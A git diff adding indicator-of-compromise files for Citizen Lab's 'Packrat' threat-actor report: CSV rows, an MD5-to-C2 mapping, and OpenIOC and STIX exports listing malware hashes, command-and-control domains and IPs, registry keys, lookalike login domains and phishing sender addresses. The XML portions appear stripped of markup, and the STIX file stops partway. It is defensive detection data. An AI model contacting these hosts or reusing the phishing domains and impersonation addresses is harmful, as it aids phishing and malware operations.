+8f38d4c7-dff5-484f-be90-3aaa3fba6753,12,Artifacts dropped,md5,"d2f151312f7dee2483ddcab9766b56db","AlienSpy",1,20161108 +9096fec9-6b26-4c94-a9a1-8bfe16caf1b5,12,Artifacts dropped,md5,"8e0f021dcbbfa586a1c6780e77ac0fb6","CyberGate",1,20161108 +93541388-7cc4-436a-bf73-1e1584776a59,12,Network activity,domain,"www.movimientoanticorreista.com","",1,20161104 +9e0ea90e-1dae-4fd3-9fe2-a95bf8ff29c7,12,Network activity,ip-dst,"190.210.180.181","",1,20161104 +9f3c0a52-cf4e-434c-852b-a93df8a857e1,12,Payload delivery,email-src,"claudiobonadio88@gmail.com","",1,20161108 +9fbc655c-1010-4057-8af4-d29425574e3e,12,Artifacts dropped,md5,"13d939b2412c6adbab3cc1b539166671","CyberGate",1,20161108 +a0787877-1f51-45a2-a268-99585abd3753,12,Network activity,domain,"android-flash.com","",1,20161104 +a179e1f8-66e4-4055-a762-ed5d9166afa2,12,Artifacts dropped,md5,"74613eae84347183b4ca61b912a4573f","AlienSpy",1,20161108 +a38d5330-38f4-4016-a6a5-82fefed9aacd,12,Network activity,domain,"wjwjwjwj.no-ip.org","",1,20161104 +a391d94a-2311-4420-a315-067f450915c2,12,Network activity,domain,"ftp.ftpserver.com","",1,20161104 +a723650f-2306-48f3-a588-e57822f92448,12,Artifacts dropped,regkey,"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\Policies","",1,20161104 +a8d6eb71-318f-4516-b319-5e50d6996770,12,Artifacts dropped,md5,"dd1101adc86fd282f5f183942cc2f3b7","CyberGate",1,20161108 +ab318121-5622-4ea7-aca3-59e972601644,12,Network activity,domain,"n3.pancaliente.info","",1,20161104 +abb6b95e-2364-4aad-b826-7c925b587d0a,12,Network activity,domain,"lavozmericana.info","",1,20161104 +abc292cf-5485-4189-8c0a-b18d830cc7f2,12,Network activity,domain,"pancaliente.info","",1,20161104 +ac5dde92-e97e-4b57-9305-5e439f9bbb40,12,Artifacts dropped,md5,"ea50bf8abcf9c0c40c4490dc15fb0a2a","CyberGate",1,20161108 +aea5a3f5-d174-47c1-81a0-c97a5a478e00,12,Network activity,domain,"n1.lavozamericana.info","",1,20161104 +b0bd3917-ba04-4d95-a5d3-928993f331a9,12,Artifacts dropped,md5,"a988235ad7d47acbeca5ccb4ea5a1ed5","CyberGate",1,20161108 +b0df1407-9653-4f07-8f2e-5cd7f1c1a212,12,Network activity,domain,"n1.update-outlook.info","",1,20161104 +b373771f-54f4-4559-8297-52779ee94c28,12,Network activity,domain,"soporte-login-account-gmail.tk","",1,20161104 +b5b19817-6112-4eeb-b3d1-666f92b33ee7,12,Network activity,domain,"no.response.delivery.es","",1,20161104 +b66ec73a-4faf-4873-bdd8-8fdde6207ca4,12,Network activity,domain,"ecuadorenvivo.co","",1,20161104 +b812855c-8fdc-41f2-8857-8966aa84ea89,12,Network activity,domain,"ruley.no-ip.org","",1,20161104 +bc40a9ee-df43-4ba3-ad9d-529dc845d04b,12,Network activity,domain,"s2.mgoogle.us","",1,20161104 +bd9e3887-abea-465a-9f42-4ca38ea31d17,12,Artifacts dropped,md5,"0ae0038ffe8cf5c3170734a71ff2213d","AlienSpy",1,20161108 +c00a3cd4-3530-4a3d-a0b2-4231aad495ad,12,Network activity,domain,"login-office365.com","",1,20161104 +c103e0dc-7fb4-4e6d-a3d1-d6dfadc90045,12,Artifacts dropped,md5,"08a3bb5b220eb1e0dc2ecccbbc6859f5","Adzok",1,20161108 +c67572b2-b7f4-4f32-9e4d-a8892079fec4,12,Network activity,domain,"wjwjwj.no-ip.org","",1,20161104 +c6f40987-2e22-495f-9fcf-ce681c67e901,12,Network activity,domain,"daynews.sytes.net","domain linked to deyrep24.ddns.net",1,20161108 +c7d3ba98-9951-45a1-864f-ad1c6c000aad,12,Artifacts dropped,regkey,"HKLM\SOFTWARE\Microsoft\Active","",1,20161104 +c891c678-1cf0-4842-bcec-fe93b9479a28,12,Network activity,ip-dst,"50.62.133.49","IP address linked to deyrep24.ddns.net",1,20161108 +cbdf99c3-ac02-49e1-bd44-aa95c5e2acac,12,Network activity,domain,"wjwj.no-ip.org","",1,20161104 +ced4acdc-8a7e-4766-b6c6-431b37b0e332,12,Payload delivery,email-src,"cfed.bonadio@gmail.com","Phishing source pretending to be Claudio Bonadio",1,20161108 +cf896608-add9-45a1-8a66-8a04096b70f1,12,Network activity,domain,"mail.asambleanacional.gob.ec","",1,20161104 +cfd9e067-855e-4c38-af7b-b1ec7b9c5e0f,12,Network activity,domain,"support-whatsapp.com","",1,20161104 +d036cf1a-59fb-4c11-9da9-cbf99f5733a7,12,Artifacts dropped,md5,"ed8d7ed45b64890b8901b735018318f3","CyberGate",1,20161108 +d605e928-93ec-4aec-897e-0de476fe3f0e,12,Network activity,domain,"s1.support","",1,20161104 +d736d788-19c3-47d3-85ba-6f1b8a3f0897,12,Network activity,ip-dst,"186.220.1.84","",1,20161104 +d79f9f17-548f-4712-afdf-a8dc5dc43be1,12,Network activity,domain,"taskmgr.servehttp.com","",1,20161104 +da13fa70-4007-4c44-b611-a890dd8b1f31,12,Artifacts dropped,md5,"ea7bcf58a4ccdecb0c64e56b9998a4ac","Adzok",1,20161108 +dad67427-90fd-429f-94cc-15aab9efefc7,12,Artifacts dropped,md5,"bc97437fec7e7e8634c2eabae3cc4832","CyberGate",1,20161108 +e4567864-ed20-4a52-8ebc-280bb84bc259,12,Payload delivery,email-src,"no.response.delivery.es@gmail.com","",1,20161104 +ec9d62d6-4906-45a7-a781-a4b3939e77bc,12,Network activity,domain,"gmail.com.msg07.xyz","",1,20161104 +f4ce5713-8486-4eff-be64-f04899ad0e63,12,Network activity,ip-dst,"186.220.11.67","",1,20161104 +f5818138-37c1-412a-8cf7-2d7bcb538367,12,Network activity,domain,"lavozamericana.info","",1,20161104 +f7508074-3443-4ceb-a1b6-08e87bc65b44,12,Network activity,domain,"support-login-validate-outlook.tk","",1,20161104 +f7dbcb2a-96c1-48d9-8bda-785348f8d91b,12,Artifacts dropped,md5,"6c34d4296126679d9c6a0bc2660dc453","CyberGate",1,20161108 +fd6b3ff2-e441-4bc1-ba2d-d3d9dd50ab24,12,Network activity,domain,"ns.update-outlook.info","",1,20161104 diff --git a/data/ioc/spyware/citizen_lab/201512_PackRAT/md5-c2.csv b/data/ioc/spyware/citizen_lab/201512_PackRAT/md5-c2.csv new file mode 100644 index 0000000..be686ce --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201512_PackRAT/md5-c2.csv @@ -0,0 +1,51 @@ +MD5,,C2,Malware Family +dd1101adc86fd282f5f183942cc2f3b7,,wjwj.no-ip.org,CyberGate +dd1101adc86fd282f5f183942cc2f3b7,,ruley.no-ip.org,CyberGate +dd1101adc86fd282f5f183942cc2f3b7,,lolinha.no-ip.org,CyberGate +2d722592a4e3c8030410dccccb221ce4,,wjwj.no-ip.org,CyberGate +d2adecc6287dd4d559fe6ce2ce7a7e31,,wjwj.no-ip.org,Cybergate +d2adecc6287dd4d559fe6ce2ce7a7e31,,ruley.no-ip.org,Cybergate +d2adecc6287dd4d559fe6ce2ce7a7e31,,lolinha.no-ip.org,Cybergate +93b630891db21a4a2350280a360c713d,,wjwj.no-ip.org,CyberGate +93b630891db21a4a2350280a360c713d,,ruley.no-ip.org,CyberGate +93b630891db21a4a2350280a360c713d,,lolinha.no-ip.org,CyberGate +a73351623577f44a2b578fed1e78e37e,,ruley.no-ip.org,CyberGate +a73351623577f44a2b578fed1e78e37e,,wjwj.no-ip.org,CyberGate +5a8975873f52436377d8fb0b5ab0d87a,,ruley.no-ip.org,CyberGate +ed8d7ed45b64890b8901b735018318f3,,ruley.no-ip.org,CyberGate +ed8d7ed45b64890b8901b735018318f3,,wjwj.no-ip.org,CyberGate +c2237e9d415f542ce6e73adb260af123,,wjwj.no-ip.org,Xtreme RAT +2827450763b55c5e71fda3caaf8e75f9,,wjwj.no-ip.org,Xtreme RAT +bc97437fec7e7e8634c2eabae3cc4832,,ruley.no-ip.org,CyberGate +bc97437fec7e7e8634c2eabae3cc4832,,taskmgr.serveftp.com,CyberGate +d7f34168b1a7dd7cbd8e62a5ab1ebc0e,,taskmgr.serveftp.com,Xtreme RAT +d7f34168b1a7dd7cbd8e62a5ab1ebc0e,,taskmgr.servehttp.com,Xtreme RAT +6c34d4296126679d9c6a0bc2660dc453,,taskmgr.servehttp.com,CyberGate +6c34d4296126679d9c6a0bc2660dc453,,taskmgr.serveftp.com,CyberGate +efc0009d76a2057f86c5f00030378c72,,daynews.sytes.net,AlienSpy +74613eae84347183b4ca61b912a4573f,,daynews.sytes.net,AlienSpy +d2f151312f7dee2483ddcab9766b56db,,daynews.sytes.net,AlienSpy +ea7bcf58a4ccdecb0c64e56b9998a4ac,,daynews.sytes.net,Adzok +1e4265a0c37773c2372b97bb6630ae57,,daynews.sytes.net,Adzok +08a3bb5b220eb1e0dc2ecccbbc6859f5,,daynews.sytes.net,Adzok +2de51e74fd571319bbf763ec62781096,,deyrep24.ddns.net,AlienSpy +8fb96dfab7e4c0acb1eb9f4e950ba4b9,,deyrep24.ddns.net,AlienSpy +4a23a1d6779d199aaa582cf0a5868ad1,,deyrep24.ddns.net,Adzok +0ae0038ffe8cf5c3170734a71ff2213d,,deyrep24.ddns.net,AlienSpy +8e0f021dcbbfa586a1c6780e77ac0fb6,,taskmgr.servehttp.com,CyberGate +a74ef893b1bf21c9df6d8e31285db981,,taskmgr.servehttp.com,CyberGate +a988235ad7d47acbeca5ccb4ea5a1ed5,,taskmgr.servehttp.com,CyberGate +15ebe16cd9500de534d5bfd5eeceaf73,,taskmgr.servehttp.com,CyberGate +01dec1b1d0760d5a1a562edcfeb478d1,,taskmgr.servehttp.com,CyberGate +1e6d0b59d4fb7650453c207688385f3a,,taskmgr.servehttp.com,CyberGate +e03be1849ad7cecba1e20923074cd22f,,taskmgr.servehttp.com,CyberGate +779a79c11f581b84e7c81f321fd8d743,,conhost.servehttp.com,CyberGate +13d939b2412c6adbab3cc1b539166671,,conhost.servehttp.com,CyberGate +13d939b2412c6adbab3cc1b539166671,,dllhost.servehttp.com,CyberGate +7b2cb5249d704cb1df8d4210e7c3d553,,dllhost.servehttp.com,CyberGate +7b2cb5249d704cb1df8d4210e7c3d553,,conhost.servehttp.com,CyberGate +a09f100ddc7cf29f8a93a3d7a79c58b9,,taskmgr.servehttp.com,CyberGate +ce6065346a918a813eeb58bbb0814a23,,taskmgr.servehttp.com,CyberGate +ea50bf8abcf9c0c40c4490dc15fb0a2a,,taskmgr.servehttp.com,CyberGate +3a61d64986ee6529cee271ab6754faa5,,taskmgr.servehttp.com,CyberGate +695db7dd3b1daf89f2c56d59faecc088,,taskmgr.servehttp.com,CyberGate diff --git a/data/ioc/spyware/citizen_lab/201512_PackRAT/openioc.ioc b/data/ioc/spyware/citizen_lab/201512_PackRAT/openioc.ioc new file mode 100644 index 0000000..7aa6746 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201512_PackRAT/openioc.ioc @@ -0,0 +1,533 @@ + + + Event #12 + Packrat: Seven Years of a South American Threat Actor + + citizenlab + 2015-12-08T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201512_PackRAT/stix.xml b/data/ioc/spyware/citizen_lab/201512_PackRAT/stix.xml new file mode 100644 index 0000000..1b73425 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201512_PackRAT/stix.xml @@ -0,0 +1,5242 @@ + + + Export from MISP + Threat Report + + + + + + Packrat: Seven Years of a South American Threat Actor (MISP Event #12) + Threat Report + + + + Payload type: CyberGate (MISP Attribute #1350) + + + + CyberGate + + + + + + Payload type: Xtreme RAT (MISP Attribute #1351) + + + + Xtreme RAT + + + + + + Payload type: AlienSpy (MISP Attribute #1352) + + + + AlienSpy + + + + + + Payload type: Adzok (MISP Attribute #1353) + + + + Adzok + + + + + + + + Packrat: Seven Years of a South American Threat Actor + 12 + + 2015-12-08T00:00:00+00:00 + 2016-11-08T16:38:11+00:00 + + Closed + + + Artifacts dropped + + Artifacts dropped: a988235ad7d47acbeca5ccb4ea5a1ed5 (MISP Attribute #539) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: a988235ad7d47acbeca5ccb4ea5a1ed5 (MISP Attribute #539) + + + + + + + MD5 + a988235ad7d47acbeca5ccb4ea5a1ed5 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 15ebe16cd9500de534d5bfd5eeceaf73 (MISP Attribute #540) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 15ebe16cd9500de534d5bfd5eeceaf73 (MISP Attribute #540) + + + + + + + MD5 + 15ebe16cd9500de534d5bfd5eeceaf73 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 01dec1b1d0760d5a1a562edcfeb478d1 (MISP Attribute #541) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 01dec1b1d0760d5a1a562edcfeb478d1 (MISP Attribute #541) + + + + + + + MD5 + 01dec1b1d0760d5a1a562edcfeb478d1 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 1e6d0b59d4fb7650453c207688385f3a (MISP Attribute #542) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 1e6d0b59d4fb7650453c207688385f3a (MISP Attribute #542) + + + + + + + MD5 + 1e6d0b59d4fb7650453c207688385f3a + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e03be1849ad7cecba1e20923074cd22f (MISP Attribute #543) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e03be1849ad7cecba1e20923074cd22f (MISP Attribute #543) + + + + + + + MD5 + e03be1849ad7cecba1e20923074cd22f + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 779a79c11f581b84e7c81f321fd8d743 (MISP Attribute #544) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 779a79c11f581b84e7c81f321fd8d743 (MISP Attribute #544) + + + + + + + MD5 + 779a79c11f581b84e7c81f321fd8d743 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 13d939b2412c6adbab3cc1b539166671 (MISP Attribute #545) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 13d939b2412c6adbab3cc1b539166671 (MISP Attribute #545) + + + + + + + MD5 + 13d939b2412c6adbab3cc1b539166671 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 7b2cb5249d704cb1df8d4210e7c3d553 (MISP Attribute #546) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 7b2cb5249d704cb1df8d4210e7c3d553 (MISP Attribute #546) + + + + + + + MD5 + 7b2cb5249d704cb1df8d4210e7c3d553 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: a09f100ddc7cf29f8a93a3d7a79c58b9 (MISP Attribute #547) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: a09f100ddc7cf29f8a93a3d7a79c58b9 (MISP Attribute #547) + + + + + + + MD5 + a09f100ddc7cf29f8a93a3d7a79c58b9 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ce6065346a918a813eeb58bbb0814a23 (MISP Attribute #548) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ce6065346a918a813eeb58bbb0814a23 (MISP Attribute #548) + + + + + + + MD5 + ce6065346a918a813eeb58bbb0814a23 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ea50bf8abcf9c0c40c4490dc15fb0a2a (MISP Attribute #549) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ea50bf8abcf9c0c40c4490dc15fb0a2a (MISP Attribute #549) + + + + + + + MD5 + ea50bf8abcf9c0c40c4490dc15fb0a2a + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 3a61d64986ee6529cee271ab6754faa5 (MISP Attribute #550) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 3a61d64986ee6529cee271ab6754faa5 (MISP Attribute #550) + + + + + + + MD5 + 3a61d64986ee6529cee271ab6754faa5 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 695db7dd3b1daf89f2c56d59faecc088 (MISP Attribute #551) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 695db7dd3b1daf89f2c56d59faecc088 (MISP Attribute #551) + + + + + + + MD5 + 695db7dd3b1daf89f2c56d59faecc088 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ea7bcf58a4ccdecb0c64e56b9998a4ac (MISP Attribute #552) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ea7bcf58a4ccdecb0c64e56b9998a4ac (MISP Attribute #552) + + + + + + + MD5 + ea7bcf58a4ccdecb0c64e56b9998a4ac + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: efc0009d76a2057f86c5f00030378c72 (MISP Attribute #553) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: efc0009d76a2057f86c5f00030378c72 (MISP Attribute #553) + + + + + + + MD5 + efc0009d76a2057f86c5f00030378c72 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 74613eae84347183b4ca61b912a4573f (MISP Attribute #554) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 74613eae84347183b4ca61b912a4573f (MISP Attribute #554) + + + + + + + MD5 + 74613eae84347183b4ca61b912a4573f + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: bc97437fec7e7e8634c2eabae3cc4832 (MISP Attribute #555) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: bc97437fec7e7e8634c2eabae3cc4832 (MISP Attribute #555) + + + + + + + MD5 + bc97437fec7e7e8634c2eabae3cc4832 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: dd1101adc86fd282f5f183942cc2f3b7 (MISP Attribute #556) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: dd1101adc86fd282f5f183942cc2f3b7 (MISP Attribute #556) + + + + + + + MD5 + dd1101adc86fd282f5f183942cc2f3b7 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 2d722592a4e3c8030410dccccb221ce4 (MISP Attribute #557) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 2d722592a4e3c8030410dccccb221ce4 (MISP Attribute #557) + + + + + + + MD5 + 2d722592a4e3c8030410dccccb221ce4 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: d2adecc6287dd4d559fe6ce2ce7a7e31 (MISP Attribute #558) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: d2adecc6287dd4d559fe6ce2ce7a7e31 (MISP Attribute #558) + + + + + + + MD5 + d2adecc6287dd4d559fe6ce2ce7a7e31 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 93b630891db21a4a2350280a360c713d (MISP Attribute #559) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 93b630891db21a4a2350280a360c713d (MISP Attribute #559) + + + + + + + MD5 + 93b630891db21a4a2350280a360c713d + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: a73351623577f44a2b578fed1e78e37e (MISP Attribute #560) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: a73351623577f44a2b578fed1e78e37e (MISP Attribute #560) + + + + + + + MD5 + a73351623577f44a2b578fed1e78e37e + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 5a8975873f52436377d8fb0b5ab0d87a (MISP Attribute #561) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 5a8975873f52436377d8fb0b5ab0d87a (MISP Attribute #561) + + + + + + + MD5 + 5a8975873f52436377d8fb0b5ab0d87a + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ed8d7ed45b64890b8901b735018318f3 (MISP Attribute #562) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ed8d7ed45b64890b8901b735018318f3 (MISP Attribute #562) + + + + + + + MD5 + ed8d7ed45b64890b8901b735018318f3 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: c2237e9d415f542ce6e73adb260af123 (MISP Attribute #563) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: c2237e9d415f542ce6e73adb260af123 (MISP Attribute #563) + + + + + + + MD5 + c2237e9d415f542ce6e73adb260af123 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 2827450763b55c5e71fda3caaf8e75f9 (MISP Attribute #564) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 2827450763b55c5e71fda3caaf8e75f9 (MISP Attribute #564) + + + + + + + MD5 + 2827450763b55c5e71fda3caaf8e75f9 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: d7f34168b1a7dd7cbd8e62a5ab1ebc0e (MISP Attribute #565) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: d7f34168b1a7dd7cbd8e62a5ab1ebc0e (MISP Attribute #565) + + + + + + + MD5 + d7f34168b1a7dd7cbd8e62a5ab1ebc0e + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 6c34d4296126679d9c6a0bc2660dc453 (MISP Attribute #566) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 6c34d4296126679d9c6a0bc2660dc453 (MISP Attribute #566) + + + + + + + MD5 + 6c34d4296126679d9c6a0bc2660dc453 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: d2f151312f7dee2483ddcab9766b56db (MISP Attribute #567) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: d2f151312f7dee2483ddcab9766b56db (MISP Attribute #567) + + + + + + + MD5 + d2f151312f7dee2483ddcab9766b56db + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 1e4265a0c37773c2372b97bb6630ae57 (MISP Attribute #568) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 1e4265a0c37773c2372b97bb6630ae57 (MISP Attribute #568) + + + + + + + MD5 + 1e4265a0c37773c2372b97bb6630ae57 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 08a3bb5b220eb1e0dc2ecccbbc6859f5 (MISP Attribute #569) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 08a3bb5b220eb1e0dc2ecccbbc6859f5 (MISP Attribute #569) + + + + + + + MD5 + 08a3bb5b220eb1e0dc2ecccbbc6859f5 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 2de51e74fd571319bbf763ec62781096 (MISP Attribute #570) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 2de51e74fd571319bbf763ec62781096 (MISP Attribute #570) + + + + + + + MD5 + 2de51e74fd571319bbf763ec62781096 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 8fb96dfab7e4c0acb1eb9f4e950ba4b9 (MISP Attribute #571) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8fb96dfab7e4c0acb1eb9f4e950ba4b9 (MISP Attribute #571) + + + + + + + MD5 + 8fb96dfab7e4c0acb1eb9f4e950ba4b9 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 4a23a1d6779d199aaa582cf0a5868ad1 (MISP Attribute #572) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 4a23a1d6779d199aaa582cf0a5868ad1 (MISP Attribute #572) + + + + + + + MD5 + 4a23a1d6779d199aaa582cf0a5868ad1 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 0ae0038ffe8cf5c3170734a71ff2213d (MISP Attribute #573) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 0ae0038ffe8cf5c3170734a71ff2213d (MISP Attribute #573) + + + + + + + MD5 + 0ae0038ffe8cf5c3170734a71ff2213d + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 8e0f021dcbbfa586a1c6780e77ac0fb6 (MISP Attribute #574) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8e0f021dcbbfa586a1c6780e77ac0fb6 (MISP Attribute #574) + + + + + + + MD5 + 8e0f021dcbbfa586a1c6780e77ac0fb6 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: a74ef893b1bf21c9df6d8e31285db981 (MISP Attribute #575) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: a74ef893b1bf21c9df6d8e31285db981 (MISP Attribute #575) + + + + + + + MD5 + a74ef893b1bf21c9df6d8e31285db981 + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: HKLM\SOFTWARE\Microsoft\Active (MISP Attribute #576) + Malware Artifacts + Host Characteristics + Artifacts dropped: HKLM\SOFTWARE\Microsoft\Active (MISP Attribute #576) + + + + + SOFTWARE\Microsoft\Active + HKEY_LOCAL_MACHINE + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 